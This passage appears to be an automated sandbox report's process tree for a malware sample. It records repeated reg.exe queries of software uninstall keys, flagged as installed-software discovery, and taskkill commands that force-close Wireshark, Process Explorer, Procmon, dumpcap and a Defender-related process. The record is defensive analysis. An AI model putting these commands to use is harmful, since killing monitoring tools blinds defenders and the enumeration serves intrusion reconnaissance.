PID:2536
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:323⤵PID:2528
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2568
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2576
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:323⤵PID:2600
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2636
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:323⤵PID:2684
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2700
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2692
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:323⤵PID:2728
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2740
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2764
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:323⤵PID:2760
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2780
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2404
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:323⤵PID:1812
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1996
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2420
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:323⤵PID:2372
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2412
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2792
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:323⤵PID:2708
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2652
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2608
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:323⤵PID:2640
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2804
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:1428
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:323⤵PID:2864
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F2⤵
- Kills process with taskkill
PID:2808
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2896
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2888
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:323⤵PID:2932
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2952
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2960
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:323⤵PID:3000
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2992
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:3012
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:323⤵PID:2988
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2936
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:3040
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:323⤵PID:3068
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:3060
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:1816
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:323⤵PID:1948
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2244
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:1872
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:323⤵PID:1984
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1584
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2884
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:323⤵PID:2140
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2016
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2192
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:323⤵PID:2080
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
PID:2028
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1500
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:643⤵
- Checks for installed software on the system
PID:1620
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:323⤵PID:1988
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2084
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:643⤵
- Checks for installed software on the system
PID:2020
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:323⤵PID:2120
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1416
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:643⤵
- Checks for installed software on the system
PID:1392
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:323⤵PID:2008
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1964
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:643⤵
- Checks for installed software on the system
PID:2012
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:323⤵PID:1040
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1400
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:643⤵PID:2168
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:323⤵
- Checks for installed software on the system
PID:1368
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2220
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:643⤵PID:1756
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:323⤵
- Checks for installed software on the system
PID:2144
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2204
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:643⤵PID:2124
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:323⤵
- Checks for installed software on the system
PID:2320
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2316
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:643⤵PID:2364
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:323⤵PID:2352
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2300
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:643⤵PID:1840
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:323⤵PID:2472
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2464
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:643⤵PID:2516
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:323⤵PID:2556
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2528
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:643⤵PID:2572
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:323⤵PID:2624
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2628
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:643⤵PID:2616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:323⤵PID:2696
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2724
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:643⤵PID:2728
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:323⤵PID:1180
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2776
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:643⤵PID:1808
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:323⤵PID:2404
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2812
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:643⤵PID:2816
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:323⤵
- Checks for installed software on the system
PID:2372
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2064
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:643⤵PID:2820
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:323⤵
- Checks for installed software on the system
PID:2648
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2608
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:643⤵PID:1428
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:323⤵PID:1736
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2324
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2852
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:643⤵PID:2800
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:323⤵
- Checks for installed software on the system
PID:2888
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2984
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:643⤵PID:2960
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:323⤵
- Checks for installed software on the system
PID:1900
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:616
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:643⤵PID:1568
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:323⤵
- Checks for installed software on the system
PID:2412
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2488
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F2⤵
- Kills process with taskkill
PID:360
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F2⤵
- Kills process with taskkill
PID:1396
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F2⤵
- Kills process with taskkill
PID:2968
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F2⤵
- Kills process with taskkill
PID:2552
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F2⤵
- Kills process with taskkill
PID:1596
-